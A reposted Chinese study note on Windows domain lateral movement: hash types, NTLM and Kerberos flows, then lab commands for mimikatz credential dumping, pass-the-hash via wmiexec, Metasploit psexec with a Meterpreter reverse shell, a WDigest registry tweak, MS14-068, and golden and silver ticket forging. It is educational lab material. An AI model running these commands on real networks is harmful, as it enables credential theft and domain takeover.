橫向移動常見手法


 
上次的筆記不小心被我刪除了,這次就重新總結一下,溫故而知新嗎(這篇學習筆記很久就寫完了,最近吧內網的東西都熟悉了一遍,發現了這個筆記)~
 

Windows的Hash類型

在內網域滲透的過程中最重要的就是就是對windows的認證機制的理解
 

  • Windows中的hash類型
     
LM HASH
很古老的hash類型,在LAN Manager協議中使用,非常容易通過暴力破解獲取明文憑據,Vista以前的版本使用過,之后的版本中都默認禁用了LM協議.

NTLM HASH
Vista以上的操作系統使用的Hash,通常意義上的NTLM Hash指存儲在SAM數據庫以及NTDS數據庫中對密碼進行摘要計算后的結果,這類Hash可以直接用於Pth(哈希傳遞),並且通常在lsass進程中(使用mimikatz抓取或procdump down下內存),便於ssp使用.

NET-NTLM HASH
一般用於網絡身份認證(例如NTLM認證中),目前分為兩個版本:
Net-NTLMv1
Net-NTLMv2
此類hash不能直接用來pth,但是可以通過暴力破解來獲取明文密碼

windows的認證機制

 

  • 工作組認證(NTML認證)
1.客戶端發起認證請求
2.服務端收到認證請求,向客戶端發送隨機數(challenge/挑戰)
3.客戶端使用NTLM Hash打亂隨機數,生成Net-NTLM Hash發送回服務端(注意是用MTLMhash打亂的,所以我們要是有用戶的hash值,那么我們也就可以偽造認證,造成pth攻擊)

 

  • 域認證(NTML認證)
     
    實際中也就是比工作組認證多了個域控的角色
     
1.client輸入username,password和domain,然后client會把password hash后的值緩存在本地
2.client將username的明文發送給server(DC)
3.DC生成一個16字節的隨機數,即challenge,在傳回client
4.client收到challenge以后,先復制一份出來,然后和緩存中的密碼hash在一同hash一次,混合后的值成為response,之后client再將challenge,response,以及username一並傳給server
5.server在收到client傳過來的這三個值以后會把他們都轉發給DC
6.DC接受到三個值以后,會根據username到域控的賬號數據庫(ntds.dist)里面找到該username對應的hash,然后把這個hash拿出來和傳過來的challenge值在混合hash
7.將混合后的hash值與response,進行比較,相同則認證成功,反之失敗,當然,如果是本地登錄,所有驗證肯定也全部直接在本地進行了

根據認證過程可以看到,假設知道了hash值還是可以偽造登陸的

 

  • 域認證(Kerberos協議,票據偽造)
主要是分為3步

第一:從AS服務器中獲取TGT票據
用戶在客戶端輸入賬號和密碼之后,會對密碼進行hash處理,作為user-secret-key
1. 客戶端將用戶名發送給AS服務器申請服務,在AS服務器中會對用戶名進行驗證,在AS服務器本地數據庫中查詢到該用戶名的密碼,並使用hash生成user-secrect-key.
2. AS服務器向用戶發送兩樣東西:
    1) Client/TGS會話密鑰,使用user-secrect-key進行加密
    2) TGT,包含TGS會話密鑰,用戶信息,時間戳,TGT有效期。使用TGS密鑰進行加密
3.用戶接收到消息之后,回使用本地的user-secret-key對消息1)進行解密,如果解密成功,說明用戶提供的憑證是正確的,此時用戶得到了加密后的TGT

第二:從TGS服務器中獲取訪問權限
1.客戶端向TGS服務器發送信息:
    1) 第一步驟中的TGT
    2) 認證信息(認證符(Authenticator)),包含用戶id以及時間戳,通過TGS會話密鑰進行加密。
2.TGS服務器收到消息之后,會使用TGS密鑰對消息1)進行解密,獲取到TGS會話密鑰,進而對消息2)進行解密,在對用戶id以及時間戳進行認證,如果認證成功,向客戶端發送消息:
    1) client-server-ticket(包含SS會話密鑰,用戶名信息以及時間戳),使用ss密鑰進行加密
    2) ss會話密鑰使用TGS會話密鑰進行加密
3.客戶端收到信息之后會對消息2)進行解密,獲得ss會話密鑰。

第三: 訪問服務
1.客戶端向ss服務器發送以下消息:
    1)第二步驟中的client-server-ticket
    2)新的Authenticator,包含用戶信息,時間戳。通過SS會話密鑰進行加密
2.SS服務器收到消息之后,會使用ss密鑰對消息1)進行解密,解密之后使用ss會話密鑰對消息2)解密,解密成功之后會得到authenticator,認證之后,發送:
    1)新時間戳,Client發送的時間戳加1,通過ss會話密鑰進行加密
3.客戶端收到時間戳之后,解密確認,成功之后發送服務請求
4.ss服務器收到之后提供服務。

 
除了Kerberos協議的認證流程不懂之外其他的都已經了解了(感覺這個Kerberos對我來說確實有點難了emmmmm)
 

橫向移動

 

  • 哈希傳遞

經典的攻擊方式,原理就是攻擊者直接通過LM Hash和NTLM Hash訪問遠程主機或服務,而不提供明文密碼.

適用於以下情況

* 域/工作組環境
* 可以獲得hash,但是條件不允許對hash爆破
* 內網中存在和當前機器相同的密碼

 
針對pth微軟也打過補丁kb2871997,但是對於本地的administrator以及域內的管理員是無效的,仍然可以利用其hash進行pth,最好的一點就是防止了mimikatz等工具直接抓取明文密碼(但是我們可以down下內存來本地抓取,hash還是可以抓取到的,因為一些認證過程會用到hash),打了補丁的機器在wdigetst里面的密碼一欄為空.
 
當然還有人給出了繞過的辦法(修改注冊表,未測試)
 
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
 
注銷、重啟后生效(有時間在測試)
 

  • 使用mimikatz(不僅僅只是抓取密碼,pth,票據的制作都可以!)
privilege::debug
sekurlsa::logonpasswords
sekurlsa::pth /user:administrator /domain:MIKASA /ntlm:0ceacf18afa10f3c5c30bc43e115cb4a

這樣的話就會在本地創建一個cmd,直接就可以用IPC管道符遠程連接了(cmd退出就會失效).

 

  • 使用wmiexec(隱蔽性極高,無文件)

下載地址
 

wmiexec.exe -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6 MIKASA.com/administrator@192.168.22.138 "whoami"

直接有回顯執行命令

還有一個是PowerShell

set-executionpolicy remotesigned   //powershell中開啟運行腳本的權限

 Import-Module .\Invoke-WMIExec.ps1   //導入函數

Invoke-WMIExec -Target 192.168.22.138 -Domain MIKASA.com -Username administrator -Hash 283471905734ce1951aa2b5f0d7253f6 -Command "calc.exe" -verbose

當然這個項目中還有smbexec等等,利用方法都是一致的
  • 使用msf
use exploit/windows/smb/psexec    
xxxxx
xxx
xxx
smbpass => 283471905734ce1951aa2b5f0d7253f6:283471905734ce1951aa2b5f0d7253f6
msf5 exploit(windows/smb/psexec) > exploit 

[*] Started reverse TCP handler on 192.168.22.1:4444 
[*] 192.168.22.138:445 - Connecting to the server...
[*] 192.168.22.138:445 - Authenticating to 192.168.22.138:445|MIKASA.com as user 'administrator'...
[*] 192.168.22.138:445 - Selecting PowerShell target
[*] 192.168.22.138:445 - Executing the payload...
[+] 192.168.22.138:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (180291 bytes) to 192.168.22.138
[*] Meterpreter session 8 opened (192.168.22.1:4444 -> 192.168.22.138:52238) at 2019-12-08 21:20:41 +0800

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM


可以直接獲取到
  • 使用CS
pth domain\user ntlmhash

shell dir \\主機名\C$  

不行的話在用CS右鍵 Access-> Make token按操作就行了

CS的東西還是挺多的,這里面暫時就不先總結了

  • Linux/MAC橫向移動

下載鏈接

使用IMPACKET工具
python wmiexec.py -hashes 00000000000000000000000000000000:283471905734ce1951aa2b5f0d7253f6  MIKASA.com/administrator@192.168.22.138  "whoami"

 
也是可以的
 

  • 使用crackmapexec批量掃描

下載鏈接

crackmapexec 192.168.0.0/24 -u administrator -H 03bebb338e70244589ea67c7439c77ba

//枚舉C段

沒有安裝成功
 

  • Kali

自帶了很多的哈希傳遞的工具(沒怎么用過KALI)
 

票據偽造(票據傳遞/ptt)

 
票據傳遞的攻擊就是利用Kerberos協議進行攻擊,暫時介紹三種常見的攻擊方法ms14-058,Golden ticket,sliver ticket.
 
下面再簡單的說明一下域內的kerberos協議工作方式
 

客戶機將明文密碼進行ntml哈希,然后和時間戳一起加密(使用krbtgt密碼的hash作為密鑰),發送給kdc(域控),kdc對用戶進行檢測,成功之后創建TGT(Ticket-Granting Ticket)
將TGT進行加密簽名返回給客戶機器,只有與用戶才可以讀取kerberos中TGT的數據
然后客戶機將TGT發送給域控制器KDC請求TGS(票證授權服務)票證,並且TGT進行檢測
檢測成功之后,將目標服務賬戶的NTML以及TGT進行加密,將加密后的結果返回給客戶機

 

  • ms14-068(對應補丁KB3011780)
     
    利用的是密鑰分發中心(KDC)的漏洞,允許任意普通域用戶偽造任意票據
      windows域中使用kerberos協議過程中,為了讓SS服務器判斷Client是否有權限訪問服務,引入了PAC機制。構造PAC也是這個漏洞的根本。
    1. 在請求AS時,將require_PAC設置成False。
    2. 在請求TGS時,構造PAC,然后使用MD5簽名(PAC尾部的簽名算法可以任意指定),PAC並沒有放在TGT中發送,而是在請求包的其他位置(但是還是可以解析)。
    3. TGS_REP返回的不是會話密鑰,而是返回的帶PAC的TGT(微軟的鍋)
     
    利用前提
域控沒有打補丁MS14-069(KB3011780)
拿下一台加入域的計算機
有這台域內計算機的與用戶密碼和SID

 
利用過程
 

whoami /user獲取域用戶的sid
 

 
使用mimikatz抓取密碼
 
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

 
 
ms14-068.exe -u win7@MIKASA.com -s S-1-5-21-3006648259-3336348783-1992286540-1104 -d WIN-Q1E9PO4969I.MIKASA.com -p xxx
 
在使用mimikatz將證書寫入,升級為域管理員
 
kerberso::ptc 證書名字
 
之后就可以使用psexec、wmiexec等免密碼的執行命令登錄了

 
psexec64.exe \\WIN-Q1E9PO4969I cmd.exe

 
參考文章:

https://www.cnblogs.com/backlion/p/6820744.html?utm_source=itdadao&utm_medium=referral

http://xnianq.cn/2018/10/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E4%B9%8B%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/

  • 黃金票據(類似於域控的后門)

原理:kerberos協議認證過程中,客戶端將自己的信息發送給KDC,KDC使用krbtgt用戶密碼hash作為密鑰進行加密,生成TGT(也就是說我們獲取得到了krbtgt的密碼hash就可以任意偽造TGT了),但是krbtgt的密碼hash只有DC上才有
 
適用場景

知道krbtgt用戶的hash(說明已經獲取到了域控制器的權限)
知道域名稱
知道域的SID值
知道要偽造的用戶名

 

先登錄到域服務器,dump krbtgt用戶的hash值,獲取域sid
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit" > c:\1.txt
獲取域SID:S-1-5-21-3006648259-3336348783-1992286540
krbtgt的hash: c06e999c1a956bf99502142582e1b495
到普通域用戶機器上使用mimikatz生成黃金票據
kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495  /ptt 
直接內存注入

或者
使用/ticket:test.kirbi參數導出憑據在使用
kerberos::ptt test.kirbi注入

 
psexec64.exe \\WIN-Q1E9PO4969I cmd.exe

 
防御措施

建議經常更新krbtgt的密碼
還有的分析黃金票據有局限性
https://www.cnblogs.com/backlion/p/8127868.html

OK,關於黃金票據就到此結束了.

  • 白銀票據

白銀票據就跟黃金票據不同了,他並不是像黃金票據一樣利用krbtgt偽造TGT,他是直接不與KDC通信,使用的是計算機賬戶的hash(域控的計算機賬戶)來偽造TGT,因此只能訪問特定的服務.
 

首先上域控中抓取密碼
獲取到目標機器的hash(注意是機器hash而不是域用戶hash)
9f26d10e5bbcb5b891fc6ca79e53a033
mimikatz偽造白銀票據


kerberos::golden /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540  /target:WIN-Q1E9PO4969I.MIKASA.com /rc4:a3c828040b117c4c4cc8f2b8ff82a24f  /service:cifs /user:win7 /ptt

 
之后就可以訪問域控的文件系統了
 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM